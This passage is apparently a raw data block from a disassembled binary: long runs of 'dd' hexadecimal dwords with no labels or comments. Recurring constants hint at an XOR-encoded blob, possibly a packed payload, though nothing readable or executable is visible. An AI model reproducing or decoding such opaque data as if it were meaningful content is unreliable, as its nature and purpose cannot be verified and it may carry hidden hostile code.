		dd 32156654h, 321D8F24h, 4D416622h, 0E857C576h,	35FD4CF0h
		dd 79156644h, 88F97B7Bh, 8D1A822Fh, 0B9743F76h,	1A26B7C1h
		dd 259D6924h, 52156611h, 0DBD4D187h, 32156649h,	0BEEC9CB3h
		dd 5491276Ah, 132E32D7h, 0F2900753h, 327DE32Dh,	0B01A6611h
		dd 32156684h, 321561ADh, 19CE222h, 51DB2E61h, 3F30E34Eh
		dd 3D59606Ch, 321572A9h, 321A8F11h, 6ACC6688h, 3F71ED13h
		dd 6A98C681h, 79B136BAh, 2EFC0E83h, 0B31ABF9Eh,	32156626h
		dd 531CD171h, 2618D377h, 0BFE0606Ch, 197A3EA7h,	8D1A0617h
		dd 7E3ADE72h, 0CD743169h, 359069F2h, 3D156611h,	32156704h
		dd 987D9F44h, 0BB15667Bh, 0B21A4205h, 32156689h, 0CAC599B1h
		dd 0B71AA6A7h, 32156601h, 32B48F70h, 54756644h,	0B37394A9h
		dd 539C19E3h, 4D66E301h, 8875606Bh, 31FFA319h, 9E128990h
		dd 5A7477FBh, 32156E70h, 0CB3162ABh, 3F50EE9h, 69C6688h
		dd 321E8F60h, 0CEA56622h, 9A78A2E4h, 0C6E74F40h, 0E190EB66h
		dd 0DB134DAAh, 32156619h, 1F6098AFh, 8942AE32h,	3214E02Dh
		dd 0CDED6611h, 8C730658h, 0B91AF819h, 32156621h, 531FAD91h
		dd 0B71AA683h, 32156659h, 0D9AA0042h, 0F4CCE76Ah, 5363215Fh
		dd 321578ADh, 0B3730622h, 89A4D4C3h, 0ABB1834h,	1651EF25h
		dd 3A9B693Eh, 3D156611h, 32156409h, 53740644h, 78AE0042h
		dd 0EB9E3085h, 0F1ED07D7h, 32156FADh, 10BE5422h, 0D61AAE4Fh
		dd 5275898Bh, 0AACCE722h, 0E6AE0023h, 0BF9E0729h, 343A19FBh
		dd 0D19C35B1h, 3211A5A3h, 0D9946611h, 3215668Ch, 6E317AC3h
		dd 0DB3162ABh, 32156600h, 6B0812ACh, 0B2BA9FABh, 0E34A6F48h
		dd 9FD0FF59h, 32198FF0h, 0F7516644h, 47198308h,	0AFA0D992h
		dd 0BB43F269h, 1E94308Ah, 52174906h, 1D103E39h,	6C3D068Ah
		dd 0EAF34B8h, 0B3156622h, 49183DFBh, 0B3D7679Eh, 49183D86h
		dd 68176534h, 32068FE8h, 0CDBF6688h, 0DE69F4CEh, 0C02E8949h
		dd 0B8A0FCEFh, 9D809A58h, 0BAA59968h, 68156622h, 321DE11Eh
		dd 0B31A6688h, 32156646h, 0A79C0742h, 343D6AC8h, 8EAF3471h
		dd 0B33ABA58h, 0EE0EA2C8h, 0B9C5673Eh, 0F694429Ch, 32156640h
		dd 0CA9E9E42h, 3E659970h, 50314A09h, 0B92A7C2Fh, 0F6964236h
		dd 50D7E715h, 522A7CE3h, 32156BADh, 3F1F0F22h, 3CC52A68h
		dd 0BFD525h, 0B3730E65h, 534EB0F2h, 321576F8h, 0C71A5988h
		dd 0CD2B3191h, 3EFE7BDCh, 0E0A42292h, 3B80EFD0h, 3D134E44h
		dd 32156EA1h, 30966911h, 52156688h, 16219925h, 36D1E57Ah
		dd 321DED1Eh, 54756688h, 52ED02FEh, 46EA0743h, 369E4235h
		dd 36D1E7ACh, 3D156644h, 32156BA4h, 321D8F11h, 0BC1B6688h
		dd 0BDCC6D75h, 0A838E9BEh, 1F727048h, 35DE37F9h, 4310AE6Dh
		dd 3712AD73h, 55033F8Bh, 3B905D7Dh, 3D134E44h, 321537A0h
		dd 9EC9F11h, 1A19BF0Dh,	71966942h, 52156622h, 321A8F40h
		dd 8A926688h, 228D7D6Ch, 3EA04AE2h, 6B48234h, 97A63C29h
		dd 33936925h, 0C7156622h, 0CB9E0670h, 63C4DDDAh, 534E0450h
		dd 0DB1562E0h, 3215661Fh, 0BB4C697Bh, 28B06EFAh, 882DED79h
		dd 3D74DE63h, 3215740Bh, 32188F44h, 4886622h, 8368FF41h
		dd 0B4EB2001h, 0F5E715B8h, 63E64226h, 16D4477Eh, 69464ACh
		dd 0B6631360h, 75A83309h, 3344A0DFh, 6F1142E4h,	3219EE4Bh
		dd 0BD1A6622h, 32156617h
		dd 3215E487h, 8B446644h, 750E2566h, 3A312A98h, 1651E7D1h
		dd 0D6A9DA40h, 89469A9Ah, 35625190h, 0C194BD7Fh, 0DDF1E0E1h
		dd 5E5BB99Ah, 69CD4F06h, 3212E987h, 0BD1A6644h,	32156623h
		dd 5C98EBE4h, 0CE134EC7h, 38FC87BBh, 94156622h,	29E24034h
		dd 0D5AA4361h, 0B11A06D4h, 32156623h, 339669E8h, 0C7156688h
		dd 326A072Ch, 1601EF22h, 321566ABh, 0B8E76788h,	0EEC3C46h
		dd 7E9169CBh, 52156610h, 5744DCEEh, 0BA1A07BDh,	32156625h
		dd 3214E21Eh, 0EE06688h, 4A9169ACh, 0DB156623h,	3215661Ch
		dd 191C1839h, 6B7A7649h, 2B35370Bh, 3D1A5AA2h, 32154A0Ch
		dd 32198F44h, 0CBF56622h, 0E70335Bh, 0C8208A8Eh, 0FF2952E1h
		dd 3386E22Dh, 0EE96611h, 0E3916963h, 52156645h,	0E49EADA8h
		dd 0F1ED0770h, 33AD3670h, 33156644h, 32AF34D2h,	33156611h
		dd 680FEC4Ah, 321B8F1Ch, 0E0EE6622h, 0CCF0AA3Bh, 0C1B82823h
		dd 0EF430A47h, 8FA63573h, 0BA988D91h, 0DB953D51h, 13DCE601h
		dd 120E97A2h, 23FC3FDAh, 0A9156688h, 0DC4D6C96h, 52D18DCh
		dd 6D716BA6h, 0EE0FEA4Ah, 3D959DC4h, 0CDEAC6A7h, 321D8FEEh
		dd 398E6688h, 0FCAC116Fh, 0B94303E0h, 0F696420Dh, 3392698Ch
		dd 0CB156644h, 323BE64Ah, 1619EF11h, 32156031h,	6BDE6744h
		dd 321AEF2Dh, 38FC6611h, 0D1156688h, 8990A075h,	54ECA263h
		dd 30AD366Bh, 33156688h, 32AC37B4h, 33156622h, 6B0C65D0h
		dd 23FC06D0h, 6A156644h, 0F48195B2h, 59584BD3h,	16E03A46h
		dd 0BDB78B2Bh, 32B88F43h, 8B756611h, 2665F4F3h,	321569ACh
		dd 1D9F7C22h, 0D18445CBh, 0A06331D5h, 42E13EF4h, 63E0077Ch
		dd 321567A8h, 24D4E788h, 3378A75Eh, 24FCE7D3h, 0B978A70Bh
		dd 52753F91h, 851A9DF5h, 0C19F07D3h, 0C9EEE570h, 32DBE287h
		dd 0B31A6644h, 32156635h, 321574F8h, 0DCAD8B88h, 3D96E35Ah
		dd 0BFDEF14Bh, 6FDBFC70h, 64E2A89Ch, 0B3317ACFh, 321562E6h
		dd 8A459F11h, 32156689h, 2A169645h, 0B13162A9h,	0DB7562D5h
		dd 32156698h, 0DC4EE9AAh, 0A3E98A7Dh, 0AEC93B97h, 763F7CC2h
		dd 37AD3625h, 0B3156622h, 312B56FAh, 0B3D667E9h, 312B5687h
		dd 0DBEC3E43h, 0CDEA986Ch, 6CA3697Dh, 0D9969A45h, 5C91690Ch
		dd 3DEA99EFh, 32157007h, 32048F44h, 2BFD6622h, 5B22BC7Ah
		dd 6971EF67h, 0CA070A9h, 0DB98186Fh, 32156625h,	32157561h
		dd 87D87A44h, 4B8DFC01h, 806351B0h, 72885CCBh, 636A4865h
		dd 0CC1418A2h, 0CC3EE31Eh, 3EFC9977h, 0AF156644h, 22672469h
		dd 0DFBCFCABh, 0CEDEFEE4h, 0CDE993ADh, 0B37306DDh, 0B20DE3C0h
		dd 67742D57h, 0F79483CDh, 32156626h, 32118B90h,	1E926688h
		dd 69C3A60h, 8C730606h,	0B373F5ADh, 539CEC69h, 0B3F0EF11h
		dd 321562E7h, 36F8E711h, 0B5156688h, 0BB494268h, 0BC1A422Eh
		dd 32156610h, 0D19C3571h, 3211A5C5h, 0D9966622h, 1609E115h
		dd 1609EFD4h, 0BFE0DD24h, 851A3F54h, 197D07C9h,	0BB1566AAh
		dd 35FC4278h, 0C4156622h, 82ACC4h, 0B51A0C04h, 32156647h
		dd 3749A42h, 0B37306D1h, 54072D67h, 8CB484C5h, 33936943h
		dd 0C7156611h, 0BA479324h, 0B9E6EE82h, 0F6964236h, 3DE90615h
		dd 0B374B837h, 321562A8h, 1619EF22h, 0D93596A4h, 0DB4406D1h
		dd 32156650h, 86A9B4CFh, 0A0AFBE7Ch, 0E844C5C4h, 3DE2ACF1h
		dd 30E8181Fh, 32018F4Bh, 80A76688h, 50C43F83h, 69D3E981h
		dd 7A9324C6h, 65AB58BCh, 0B2747D65h, 0B61A16D9h, 3215606Eh
		dd 219069E8h, 0DB156644h, 3215662Ch, 0E74A8BCBh, 74803BE1h
		dd 0F5CF7DB6h, 0ED9E32D3h, 3D1A5A70h, 3214680Ch, 32058F44h
		dd 0A4116622h, 0A8A49A1Dh, 0CA211476h, 0A99E0A62h, 0DB29F221h
		dd 397BE21Eh, 3DFC6688h, 8A156644h, 6A35EC87h, 584E995h
		dd 0A557286Eh, 0D929B63Eh, 3D9EE22Dh, 0EED6611h, 3791696Bh
		dd 52156640h, 115E94A3h, 0B3733A76h, 53323C6Ah,	0B61A8478h
		dd 32157695h, 32078F71h, 656688h, 0E9C6261Bh, 0A2C41171h
		dd 0B5442063h, 0EA3B1621h, 321577ADh, 80AC7522h, 3C60DF4Dh
		dd 0E880FF30h, 8286D975h, 0B974D2D1h, 0BB40422Dh, 36D0E76Dh
		dd 0B3156644h, 321562E7h, 1639E111h, 32188FD4h,	59476644h
		dd 76ED9447h, 94360785h, 0B921C253h, 0BB424258h, 36D2E7C5h
		dd 0B3156611h, 3215624Fh, 1629E144h, 0B9EC9A7Eh, 0BB42421Dh
		dd 36D2E76Fh, 0B1156644h, 0E9262E5h, 0B31A3A35h, 3215669Ch
		dd 321569ADh, 9A7C2022h, 393CC5B5h, 0FB28B679h,	4B219FD6h
		dd 623152A9h, 36108698h, 37156688h, 32156640h, 6E3162A5h
		dd 5475A5E9h, 0F574A703h, 1D9525C1h, 32156024h,	63740611h
		dd 32156631h, 24D4E744h, 33689B22h, 24FCE7E0h, 0B8689B88h
		dd 3CFC3F5Dh, 2156622h,	94E30336h, 4775EA38h, 2AAFF83Bh
		dd 239C6945h, 0DB156611h, 32156684h, 0B4114D9Eh, 0BAE0DE08h
		dd 2C67BEE4h, 32178A09h, 0BB736644h, 0C2A4422Eh, 6B73AD31h
		dd 0B2EEE67Dh, 0CD04E34Bh, 0BC1A99DDh, 32156610h, 3EEA3074h
		dd 1621ED60h, 3211A2A3h, 0B91A6611h, 32156692h,	3201EC4Bh
		dd 3DFC6622h, 44156611h, 6A06FB17h, 0D80EC445h,	8724D603h
		dd 0B79E89EEh, 343D6299h, 321DE84Bh, 0B61A6622h, 32156613h
		dd 0B71A07E8h, 3215665Dh, 321572CBh, 0B315F311h, 8D58DF4Ch
		dd 18670ADBh, 0B4E5294Eh, 30E35F9Fh, 8B80ED40h,	3D134E44h
		dd 32156FAEh, 0B3730611h, 0B9CC2B6Ah, 0BB440797h, 0B9DEEFD3h
		dd 0F694421Dh, 3215668Ch, 0B71A0624h, 32156622h, 0C6E0E670h
		dd 5BAC0EE9h, 1E9C6644h, 3213DB06h, 0D9146611h,	8A459AD5h
		dd 32156646h, 2A169623h, 0B131629Ah, 9E9624Ch, 97699Ch
		dd 3D156622h, 32157695h, 38946988h, 0DB156644h,	32156627h
		dd 4CFEF198h, 3DCF5D0Bh, 0CDEB54C2h, 321A8FDDh,	197F6611h
		dd 0C009437Ch, 0DFC7C26Dh, 8C3048C5h, 25D6E79Dh, 1B03B2AEh
		dd 25A833BFh, 1B03B204h, 0B81A3BFAh, 32156685h,	32156EADh
		dd 0BA703F22h, 711130D4h, 3DFC062Ch, 85156644h,	7924A8C4h
		dd 4D6E9D7h, 6953EA66h,	38FCD213h, 90156622h, 97CDE8A6h
		dd 0EB79DAE2h, 8F4007EEh, 32156624h, 1E9E8D38h,	36D1E7ACh
		dd 0DB156644h, 32156627h, 18DF3062h, 0FD95069Ch, 9F7307C3h
		dd 32156ECBh, 6AA1A11h,	5378B99Fh, 3DBE00BEh, 32156AA5h
		dd 34916911h, 3D156688h, 321566C8h, 7B860E22h, 369C6611h
		dd 694D35ACh, 3214EB4Bh, 99EC6622h, 3219EE1Eh, 0BC1A6688h
		dd 32156642h, 3215EA2Dh, 61EC6611h, 32156233h, 0D1FBE744h
		dd 336FE125h, 0D1D3E7CFh, 696FE18Fh, 3219E24Bh,	54756622h
		dd 3D1F70AEh, 32156601h, 0E9C0744h, 321B8F06h, 0BC226611h
		dd 385894D0h, 0E8B8594Dh, 0F09C733Bh, 3E311298h, 0B9730670h
		dd 0A6E2E7B7h, 534D1B64h, 1B3CD398h, 0CB7560A0h, 16219925h
		dd 36D1E77Dh, 0DB156611h, 3215668Fh, 96F3EC2h, 0B9C8C7FDh
		dd 0BB43420Dh, 36D3E76Eh, 0B3156644h, 321562E4h, 1621E111h
		dd 0BA1A06D4h, 32156647h, 83D3D92Dh, 3E9E0766h,	0D49C30ACh
		dd 3211A0C5h, 0F4966622h, 1621E115h, 0DBEC06D4h, 32156648h
		dd 0A7AAF32h, 6BF231Fh,	12148058h, 321C8F25h, 6FAC6622h
		dd 0AE5903F4h, 0CD687452h, 0B34B4270h, 321562E6h, 321D8F11h
		dd 0B2276688h, 67A7CED3h, 5AEC163Fh, 32157C2Fh,	0BB317A01h
		dd 36D6E7A7h, 0B1156622h, 2E9262D2h, 0BF1A3AACh, 32156645h
		dd 3A9269DBh, 3D156611h
		dd 32156400h, 0DB740644h, 0CDEAB9AFh, 320FEC1Eh, 0DA756688h
		dd 3215664Ah, 903F5674h, 7D2F63E7h, 41500756h, 544E5DA1h
		dd 53A74699h, 0B256E3D6h, 321760A7h, 3FFC6644h,	48156622h
		dd 63E4CBAh, 0FA67CCFBh, 0CF20E777h, 60E7EF70h,	0AD314A90h
		dd 69221AEAh, 508AA5C5h, 3D4F515Eh, 32156793h, 3CFC9388h
		dd 0B4156644h, 0AFE76E87h, 523BC19h, 32A35AFDh,	3CA3695Ch
		dd 321DE22Dh, 0B11A6611h, 3215668Ah, 0CB950724h, 29669A2h
		dd 0CB156611h, 7FA18D09h, 0F914051Ch, 7FA1DC70h, 0E1140549h
		dd 8D429ED2h, 32156645h, 0CE4A9D23h, 321465F8h,	321C8F88h
		dd 7B326644h, 3ECFD869h, 624BE051h, 0D6C5503Ch,	0DE95B2B2h
		dd 0B9F44EB6h, 0F6944215h, 3215668Ch, 32156FADh, 908D0B22h
		dd 0F1C4CE1Dh, 0E3E20AD8h, 16119915h, 0BD1A067Bh, 3215661Ch
		dd 32156E61h, 0C6C66D44h, 0FC9FD52Fh, 32198F5Ch, 68236688h
		dd 32FC1AA1h, 4C37EDB7h, 0DB749965h, 3215668Fh,	1BC1C5A5h
		dd 621DC3A4h, 197FDC43h, 0D894773Ah, 7371017h, 0C51784E3h
		dd 29DFE7C3h, 0B34375F7h, 9E0D8EB6h, 66FFE759h,	0BBB11977h
		dd 0F3343C58h, 26FD061Ch, 0FE156622h, 6289C499h, 0E36E1A87h
		dd 0EFB961E8h, 539E6469h, 0B3E21379h, 5DA6CB79h, 60743D27h
		dd 0C32AA998h, 37FFE758h, 704873A8h, 78AACC5h, 0D0C405EAh
		dd 1FD98C90h, 0E114CB07h, 0B3DE4F1Eh, 1B4494C9h, 3EFC0623h
		dd 69156688h, 0DFDB8CA2h, 0FAC825E9h, 64F38255h, 32156B61h
		dd 0B24E7F44h, 0FC646544h, 5875FD9Bh, 534E02E1h, 3604E3CFh
		dd 0B11A600Ah, 32156618h, 0DB9400E8h, 0E89EC391h, 8B80ED43h
		dd 0DB134E11h, 32156682h, 0DDE58856h, 0BE4C4ED4h, 8F969CCAh
		dd 343D644Dh, 23916945h, 0CA156626h, 0B01AA528h, 32156280h
		dd 32156AADh, 4085B722h, 9B923757h, 0F7CD48F8h,	3DC65F22h
		dd 0CDEF38A0h, 321B8FEEh, 5A7F6688h, 6562CFF0h,	7A54B192h
		dd 9BB642F8h, 3216B161h, 26976944h, 0DB156622h,	3215661Eh
		dd 7885FF85h, 1CDDC172h, 742A7A02h, 0F5272C55h,	1D95250Dh
		dd 32156442h, 0B9439F22h, 0F694420Dh, 3215668Ch, 3CA369B8h
		dd 0B2749E42h, 0B11AE6E8h, 321566D1h, 0B9AB30B1h, 0B34E362Dh
		dd 0D948F2E7h, 74F3B7C2h, 2D51A0C5h, 0ECE2382Fh, 345DA090h
		dd 0C114F441h, 0B3DE671Ah, 7757A3C9h, 32128F00h, 95796688h
		dd 1FA55AAh, 0CDAA31BCh, 1BEA99EEh, 22FC3973h, 156644h
		dd 5704093Ah, 421DE521h, 76F5AA3Fh, 0DB851178h,	321566A5h
		dd 3EA334E9h, 0B2108848h, 0F39567AAh, 0B2E44EB6h, 524FF2F8h
		dd 0DBEBEDEEh, 32156649h, 67025C5Fh, 128C5B31h,	0FB2C6D59h
		dd 0B55C07F2h, 0B5C691FBh, 18A406C8h, 64744D3Ah, 0F8556AFAh
		dd 1DE3E764h, 0C5382C5Dh, 0DCD4285Eh, 21FBE743h, 6107BB24h
		dd 86124DAAh, 69CB6799h, 0CA4B9765h, 9AAF34DBh,	0B36ECC51h
		dd 0E1D00C4Ah, 68C667A5h, 0D994AD0Bh, 6F6B6003h, 7E65DDE8h
		dd 0B81A290Dh, 32156624h, 3215E61Eh, 0B9746688h, 1A1177C1h
		dd 0A79E9F24h, 343D66A8h, 0F7A8E57Dh, 33134E46h, 308BE22Dh
		dd 9ED6611h, 0E976950h,	52156644h, 32156ACBh, 0A9E44211h
		dd 0AFBEE589h, 0C6462C83h, 3D749AAFh, 32156192h, 8D1A0688h
		dd 534B3092h, 0B41AB51Bh, 0CDEA9ECAh, 32156861h, 17173344h
		dd 2BD29478h, 0D849B3E9h, 675697D4h, 5F34C5F9h,	0E0D0E73Bh
		dd 0B32AF008h, 0B0519B45h, 0B3C8910Eh, 4E9564CFh, 6FFB4FB5h
		dd 5AAA00E8h, 0B01A0724h, 32156623h, 600DD6E8h,	0E23D6F3Ah
		dd 32188F1Eh, 0BBA16622h, 0AE0C9592h, 42A8A959h, 98F27516h
		dd 66290EDEh, 269C6611h, 3215DCACh, 0C0146644h,	0C74F6CA8h
		dd 0B2BAD740h, 0C395E969h, 0A1FCE6D8h, 3E9EAEAAh, 36D1E735h
		dd 0DB156688h, 32156657h, 178C8E5Eh, 5BE8293Eh,	0E65E697Dh
		dd 647CFA55h, 3D74BA92h, 32156E95h, 30996988h, 52156644h
		dd 30F9E543h, 1601EF77h, 0E335693Ah, 0CA753C22h, 0CDAD0042h
		dd 53E7ED6Bh, 3DDD6EE9h, 32156CCCh, 32108F22h, 602B6611h
		dd 98BB6EA9h, 0F2940024h, 0B973C410h, 0F19407E1h, 15D51E9Ah
		dd 0A568DC5h, 0C93C5131h, 0A56A590h, 0D994519Bh, 15D51E56h
		dd 53E4ED42h, 3211D847h, 0C13C6688h, 0B33152CFh, 321562E6h
		dd 0EA249A11h, 0EA24A5B9h, 321DE24Bh, 0BB1A6622h, 32156613h
		dd 0DBBE07E8h, 3215664Bh, 0B10880F6h, 0FEA6A9B6h, 0CDB359B4h
		dd 0B1551812h, 269C62CEh, 3217DC35h, 0E4146688h, 3B96691Eh
		dd 52156622h, 0B373B09Ah, 5345C14Ah, 1B3CD3CDh,	37FC600Ah
		dd 8156611h, 0B26C6F64h, 30D0E383h, 3214600Ah, 0B91A6611h
		dd 3215669Eh, 3205E04Bh, 39FC6622h, 8D156611h, 58143606h
		dd 1D7DCDB4h, 0BB4069AAh, 36D0E7F4h, 0B1156688h, 1E266281h
		dd 16395706h, 6E314A22h, 321C8FE8h, 41656644h, 0B83CD84h
		dd 5282213Fh, 20FCAD02h, 4C156644h, 390B5ABFh, 0FAB3587Dh
		dd 0EBD5656Fh, 0C00147E2h, 0CD740713h, 0B34E4225h, 3215624Ch
		dd 32018F44h, 0C7976622h, 53324A7Bh, 78FDD124h,	9157C4BAh
		dd 0A4B7EC8Dh, 6EAE473h, 0F6943FACh, 32156640h,	0D9940642h
		dd 6EE7FDF0h, 53CDEDEEh, 5321B7C4h, 32559F4Ah, 1611EF11h
		dd 36108601h, 0B1156644h, 369262E2h, 37FC3A35h,	7B156688h
		dd 0D485C31Ah, 321AEE2Dh, 38FC6611h, 5B156688h,	5BF34E79h
		dd 365C802Ah, 0D79C336Dh, 3211A309h, 8A456644h,	32156626h
		dd 0B54DA310h, 3D4942A4h, 321567CDh, 98FC9E22h,	52EA99C8h
		dd 3D8BA408h, 321564CAh, 53FFEC22h, 2D5ADB44h, 0EFE255F6h
		dd 81E0E701h, 1BD9E7C2h, 3AFC3BFFh, 68156688h, 6F44BA44h
		dd 825A7D6Fh, 3EF04A49h, 43A334A3h, 0F495A8BAh,	68E56679h
		dd 3DFC3B3Dh, 6F156688h, 0C1757C4Ch, 1F899346h,	52659D66h
		dd 3DBFAA61h, 321569C1h, 321F8F22h, 17666611h, 0D23524E9h
		dd 0D203380Ch, 0BB118AA1h, 0C79C423Dh, 52488E01h, 12FFD922h
		dd 5B5C8199h, 8675075Bh, 53D9ECEDh, 0F4D0469h, 7F2C630Ah
		dd 0CA3C6FB7h, 94585FA5h, 6A77634Dh, 64E94E1Fh,	321562AFh
		dd 0B9E54F88h, 0F6944270h, 32156626h, 321560F8h, 42CC6488h
		dd 996DDC3Ah, 321DE02Dh, 54756611h, 52430931h, 57D0725h
		dd 0BB15664Bh, 0D39C421Dh, 3211A709h, 0F3966644h, 1619E126h
		dd 3E92694Dh, 3D156688h, 321560CFh, 329A6922h, 0CD156611h
		dd 0B34E42BCh, 32156280h, 3E9E9A22h, 0D59C3135h, 3211A109h
		dd 0F5946644h, 32156626h, 6E315A96h, 32156E61h,	0C8E5D544h
		dd 2849C370h, 1621ED1Dh, 0B3F3EFDEh, 32156282h,	36D3E722h
		dd 0B5156611h, 0CA4942BCh, 61F5EF14h, 601FFC99h, 5BD6E77Dh
		dd 0B31D70CDh, 1242DF87h, 31FEA72Fh, 3B77AD90h,	0F1943FF5h
		dd 94978449h, 0B14EBE23h, 369262D1h, 0BF1A3AACh, 3215664Ch
		dd 3217E22Dh, 53756611h, 0CDCEEF61h, 0B97306BBh, 6A4606D5h
		dd 5374B09Ah, 0B256E34Fh, 3210606Bh, 0B21A6622h, 32156619h
		dd 329569E8h, 53156644h, 0BBE0EF77h, 1639EDFAh,	0DB11A20Bh
		dd 3215664Fh, 59A57DA2h, 9A6E7392h, 3DC8E23Eh, 321567C1h
		dd 88479A22h, 32156615h, 7548D09h, 0E1147754h, 754A5A3h
		dd 0DB4F7701h, 3215669Bh, 13F03750h, 0F8481ABBh, 914246FEh
		dd 73926BAh, 3D24F97Eh,	32156CA6h, 32108F11h, 0D23A6688h
		dd 0B37EE505h, 321562CEh, 1619EF11h, 32156631h,	31E46744h
		dd 52EC3F3Bh, 3DE5D11Eh
		dd 0B974B63Fh, 1A1177C1h, 3A9F6924h, 3D156611h,	32156400h
		dd 0B9740644h, 1A15DFB7h, 321E8F17h, 4EB6688h, 1EEB4A37h
		dd 33F67379h, 33AF342Ah, 1B156688h, 0B11A3C92h,	32156632h
		dd 321FE01Eh, 37FC6688h, 82156644h, 11653204h, 36D4DB92h
		dd 3D1460A0h, 321313C0h, 321F8F22h, 9C076611h, 0F6983251h
		dd 0D1A1CC81h, 0B01ABE19h, 3215663Ch, 321AE287h, 38FC6644h
		dd 40156622h, 2BA888F8h, 0D52E447Eh, 3DCF5D58h,	3214E2A4h
		dd 321E8F11h, 0ADA6688h, 7D4EF8AAh, 0FE65B14Bh,	1BA0EF5Ah
		dd 52134EA1h, 3DD6D94Bh, 321563AEh, 0F1940011h,	0B9748E72h
		dd 1D9525D9h, 32198F24h, 52D96611h, 0C527BE3Dh,	7B9499C3h
		dd 5E94BA3Fh, 58F26A35h, 5E946A8Ah, 68B76A60h, 6E147CF0h
		dd 76946A35h, 68B76AACh, 76947C96h, 58F26A06h, 3BFC6A13h
		dd 6E156688h, 0C70BF8FFh, 0A83BE43Ch, 3210ABF8h, 18A40688h
		dd 53CDED22h, 67315AA9h, 0F7948398h, 3215668Ch,	3211A3C5h
		dd 1E926622h, 0F5ED3A35h, 1A11A70Dh, 32156742h,	321C8F22h
		dd 43C6611h, 0C68124Ch,	0B9EE7C01h, 0BB40423Eh,	36D0E7F4h
		dd 0B1156688h, 1E926281h, 0B71A3A06h, 3215660Bh, 3201E587h
		dd 3DFC6644h, 62156622h, 89620BFCh, 0BB8B0AE3h,	95418D01h
		dd 6EA7DA4h, 0F6963F35h, 2C9E698Ch, 3D156644h, 32157EA3h
		dd 32068F11h, 28946688h, 7B1B127Bh, 29250B5Eh, 7444B111h
		dd 271FA77Eh, 1621ED78h, 0B3F3EF74h, 321562D7h,	36D3E588h
		dd 6E3152C3h, 3214E92Dh, 3DE96611h, 3215730Dh, 3D926944h
		dd 0DB156622h, 3215661Bh, 4C60CFFAh, 0AA6D7EA1h, 0BB45F9E5h
		dd 321163F1h, 0F2966688h, 46EA3640h, 0BD4D6206h, 3D494215h
		dd 32157400h, 32188F44h, 0B0416622h, 0EB4B732Dh, 0F8520DECh
		dd 0DB032DA5h, 0CDEAB3BFh, 1C9E671h, 32156D61h,	0EA395344h
		dd 0A653E901h, 0AE5A0EDAh, 0F7A8E5E9h, 33134E46h, 36A5E22Dh
		dd 19ED6611h, 1A117715h, 8B730642h, 851AE4F9h, 0BF9E07EAh
		dd 343D47B9h, 5EFCE7B1h, 3317EB73h, 0D5AF34C8h,	0B31989F4h
		dd 0AC0547A6h, 0B5DFE75Ah, 0B352A944h, 0F356A442h, 0B3FFB779h
		dd 97B01FE0h, 68C467D3h, 0E848D8E8h, 3EFC2B2Ah,	4D156622h
		dd 8FF57DC1h, 0C90B0A63h, 530FF68Dh, 0E51A7A3h,	0CB3C18FFh
		dd 0E51D9DFh, 0CB3C18AAh, 32108F7Dh, 2A316611h,	614EC629h
		dd 3210DC16h, 0E19C6622h, 69CC4F4Bh, 32157661h,	99966744h
		dd 615FA1BFh, 0ED71EBE5h, 0CB57B618h, 0DBA63540h, 2E9EBEAAh
		dd 36D1E735h, 0CE156688h, 0AAAD06EEh, 533A8439h, 0F324AE20h
		dd 99EDAEB9h, 3210E54Bh, 0CA756622h, 6374B09Ah,	0F3948701h
		dd 32156640h, 111A7A1h,	3E24421Dh, 161955ACh, 32048F18h
		dd 10196622h, 45738A78h, 358CFC02h, 0EF0FC937h,	0B99F7FFBh
		dd 0BB40420Dh, 36D0E76Dh, 0B3156644h, 321562E7h, 1639E111h
		dd 6EA9FD4h, 0F6963F60h, 25926926h, 0DB156611h,	3215669Ah
		dd 78923A24h, 986E3931h, 0CB6A5BBh, 93C959Bh, 69EDB20h
		dd 0D49C3006h, 3211A090h, 0F4946688h, 32156640h, 6E3152A5h
		dd 321561F8h, 71454688h, 0E89D92D4h, 329B6942h,	84156611h
		dd 0BB420753h, 36D2E7A3h, 0B1156622h, 0E9262D6h, 1631EDACh
		dd 32156FADh, 1A154022h, 888CD1A2h, 65FC9E51h, 3DEA9993h
		dd 32156AA3h, 32128F11h, 0FA9D6688h, 2C4439CDh,	7190A124h
		dd 30134991h, 0C7156688h, 3222D22Ch, 1611EF22h,	0F19C9698h
		dd 841A93D0h, 3396694Ah, 0CA156622h, 3D959F91h,	3215380Bh
		dd 0B41A0644h, 32156624h, 3215EF1Eh, 0B81A6688h, 32156642h
		dd 0A9E48DA3h, 0B3742081h, 0C300FE4Bh, 0A4D6E764h, 331BB27Dh
		dd 0A4FEE7DAh, 0B31BB2D7h, 0C300FEAFh, 3DFC0602h, 1A156611h
		dd 7F7F7A75h, 9E2F76B6h, 0EC587884h, 8B73BF06h,	6274FCEDh
		dd 0CDEA99FCh, 6AD64FDDh, 32648FEDh, 62EC6688h,	0DE952AF0h
		dd 0B2C1901Bh, 617372DDh, 0CE25773Fh, 0DE953D22h, 6AF44ECCh
		dd 0CDD4E5EDh, 3BFCB77Fh, 2E156644h, 0A2366D91h, 0C8BAB505h
		dd 323B94E0h, 1611EF44h, 3215999Ah, 6AD44711h, 32157561h
		dd 21F5C44h, 0BD1BE41Ch, 0D5E91C6Ah, 3460C78Fh,	895A3B0Fh
		dd 5F34A5A3h, 0D9943B13h, 2EA43BC8h, 0F194AD6Dh, 2EA43B62h
		dd 5F348D90h, 0B9E93B8Ah, 1A1177C1h, 32018F24h,	0BEA66611h
		dd 0F5FE489Dh, 0C4D08EFCh, 89222AE4h, 891F213Ah, 0A79E01F4h
		dd 343D66FDh, 3219E32Dh, 0B81A6611h, 3215668Eh,	3215E54Bh
		dd 0DBEC6622h, 0CDEA9D5Ch, 0DC9400E8h, 53E99232h, 3210E82Dh
		dd 0B2756611h, 0F574CB78h, 1D9525C1h, 32156424h, 35946911h
		dd 52156688h, 0F2953815h, 0DE9607A1h, 1621EF15h, 0B97306D3h
		dd 32138F97h, 3A446622h, 2855B6EFh, 3CA369E9h, 3214EE4Bh
		dd 0B2E96622h, 0B11AE6E8h, 321566DDh, 6AAC37B1h, 3350F137h
		dd 0F9143FDAh, 274D8D09h, 0C77523D3h, 321569CBh, 4A811B11h
		dd 0AE7274DCh, 45CE01A3h, 24D6494Bh, 0CDAB3070h, 1BEA9977h
		dd 0B41A38B7h, 32156625h, 3214E41Eh, 0DBE06688h, 321566F2h
		dd 32156ACBh, 0C92D11h,	81C5A19Bh, 0E90B2A3Bh, 8546009Eh
		dd 5BD4E6EEh, 0DB959FA0h, 524E002Dh, 68DDE744h,	32048E51h
		dd 0FB1C6688h, 3014DEA2h, 94074B3Bh, 0EE020D85h, 3D437656h
